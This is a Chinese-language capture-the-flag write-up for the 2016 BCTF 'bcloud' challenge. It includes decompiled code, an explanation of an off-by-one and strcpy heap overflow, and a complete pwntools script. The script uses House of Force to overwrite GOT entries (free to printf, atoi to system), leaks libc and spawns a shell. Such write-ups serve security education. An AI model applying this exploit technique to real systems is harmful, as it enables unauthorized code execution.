House_of_Force-ctf-bcloud
2016 bctf bcloud 下载:
https://pan.baidu.com/s/1e-fvhaOJKzBQMxlrweLznw
提取码:ded5
放入ida中首先定位到 main()->init()->set_name()
unsigned int set_name()
{
char name; // [esp+1Ch] [ebp-5Ch] <--注意这里,name如果发生溢出,会将*p覆盖
char *p; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(&name, 0, 0x50u);
puts("Input your name:");
getSrt((int)&name, 0x40, 10); //仔细看这个函数
p = (char *)malloc(0x40u);
bss_name = (int)p;
strcpy(p, &name);
hello((int)p);
return __readgsdword(0x14u) ^ v3;
}
int __cdecl getSrt(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i ) //如果字符串的长度正好是a2
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
a1[i] = buf;
}
a1[a2] = 0; //如果上面的for没有提前退出,那么这里溢出了1个字节
return i;
}
int __cdecl hello(int a1)
{
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
return puts("Now let's set synchronization options.");
}
name在栈中的大小是0x40 如果我们输入的正好是 'a'*0x40 那么 *p 就会被覆盖为0
然后malloc后,p 又被改成地址,因为是第一次malloc ,所以p-8就是堆的地址
现在从name到v3(canary)之间是没有\0来结束字符串的
而strcpy这个危险函数如果没有\0作字符串结尾是不会停止复制字符串的
这样,p 就会被复制进name中,通过hello函数我们就能leak出heap的地址
同样的:
unsigned int set_org_host()
{
char org; // [esp+1Ch] [ebp-9Ch]
char *p_org; // [esp+5Ch] [ebp-5Ch]
char host; // [esp+60h] [ebp-58h]
char *p_host; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(&org, 0, 0x90u);
puts("Org:");
getSrt((int)&org, 64, 10);
puts("Host:");
getSrt((int)&host, 64, 10);
p_host = (char *)malloc(0x40u);
p_org = (char *)malloc(0x40u);
bss_org = (int)p_org;
bss_host = (int)p_host;
strcpy(p_host, (const char *)&host);
strcpy(p_org, &org);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}
在这个函数中,org 指向申请的最后一个chunk
如果我们把org的内存写满,在这个函数最后一个strcpy时,*p_org就会覆盖top_chunk->prev_size位
还没有结束,p_org这个地址也没有\x00,继续覆盖,host就会覆盖top_chunk_size位
这时,我们发现一个可以改top_chunk大小的漏洞
然后,继续读代码:
int new()
{
int result; // eax
signed int i; // [esp+18h] [ebp-10h]
int v2; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i <= 9 && note[i]; ++i )
;
if ( i == 10 )
return puts("Lack of space. Upgrade your account with just $100 :)");
puts("Input the length of the note content:");
v2 = get_num();
note[i] = (int)malloc(v2 + 4);
if ( !note[i] )
exit(-1);
list_len[i] = v2;
puts("Input the content:");
getSrt(note[i], v2, 10);
printf("Create success, the id is %d\n", i);
result = i;
dword_804B0E0[i] = 0;
return result;
}
我们可以控制申请内存的大小,而且还可以写这块内存
联系上面我们改的top_chunk ,可以通过house of force 这种方式实现任意地址写
程序运行时菜单如下:
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
程序中没有办法打印出我们内存中的内容,因为 2 这个选项是开玩笑的 5 这个选项也没什么用
因为我们可以任意写,所以把free函数改成printf 就可以打印出内存中的内容了
看一下第三个选项:
int edit()
{
int v1; // ST1C_4
int v2; // [esp+14h] [ebp-14h]
int v3; // [esp+18h] [ebp-10h]
puts("Input the id:");
v2 = get_num();
if ( v2 < 0 || v2 > 9 )
return puts("Invalid ID.");
v3 = note[v2];
if ( !v3 )
return puts("Note has been deleted.");
v1 = list_len[v2];
dword_804B0E0[v2] = 0;
puts("Input the new content:");
getSrt(v3, v1, 10);
return puts("Edit success.");
}
利用这个函数,我们可以更加轻易的改写任意位置的内存了
利用步骤如下:
-
1.通过名字leak堆地址
-
2.通过host and org 改大top_chunk->size
-
3.移动top_chunk
- 让再申请的内存在覆盖到bss段中 list_len 和noet位置的内存
- 让noet指向函数的got表
-
4.把free改成printf
-
5.利用 假free 函数把atoi地址printf出来
-
6.利用 atoi 得到system地址
-
7.把atoi改成system
利用如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./bcloud')
elf=ELF('./bcloud')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
context.terminal = ["tmux","splitw","-h"]
context.arch = "i386"
#context.log_level='debug'
#gdb.attach(p)
#1.通过名字leak堆地址
p.recvline("Input your name:")
p.send('a'*0x3c+'zzzz') #足够0x40不要加\n
p.recvuntil('zzzz')
heap_addr=u32(p.recv(4))-8
success('1.heap addr = '+hex(heap_addr))
#2.通过host and org 改大top_chunk->size
p.recvuntil('Org:\n')
p.send('a'*0x40)
p.recvline('Host:')
p.sendline('\xff\xff\xff\xff')#不够0x40加\n
def add(size,content):
p.sendline('1')
p.sendline(size)
p.sendline(content)
p.recvuntil("Create success")
p.recvline()
# 3.移动top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free']
size=heap_addr+3*0x48-list_len+16
#堆地址+先前3个堆块-list_len==>再申请出来是list_len附近
#ps:为什么加16?
#改掉的当前chunk有8个非据区然后下一个chunk也有8个非数据区
add('-'+str(size),'junk') #当前操作是把top_chunk上移
#下一个chunk->fd将是list_len地址
size=note-list_len+4*10 #这个size可以改list_len及note
payload=p32(4)*3+p32(0)*29#这里为什么要p32(4)*3而不是*2呢?最后要用到最后一个地址,现在预留出来
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload) #id=1
#4.把free改成printf
printf=elf.plt['printf']#或者puts也可以
#程序第一次调用free got表没有free的真实地址
#程序会跳到对应的plt中去调用 _dl_runtime_resolve 函数去找
#把free对应的plt地址改成printf的地址
p.sendline('3')
p.sendline('1')
p.send(p32(printf))
p.recvuntil('Edit success.\n')
#5.利用 假free 函数把atoi地址printf出来
p.sendline('4')
p.recvuntil('Input the id:\n')
p.sendline('0')
atoi_addr=u32(p.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
p.recvuntil('Delete success.\n')
#6.利用 atoi_addr 得到system地址
system = atoi_addr-libc.symbols['atoi']
system +=libc.symbols['system']
success('3.system addr = '+hex(system))
#7.把atoi改成system
p.sendline('3')
p.sendline('2')
p.send(p32(system))
p.recvuntil('option--->>\n')
p.recvuntil('option--->>\n')
#8.get shell
p.sendline('/bin/sh\x00')
p.interactive()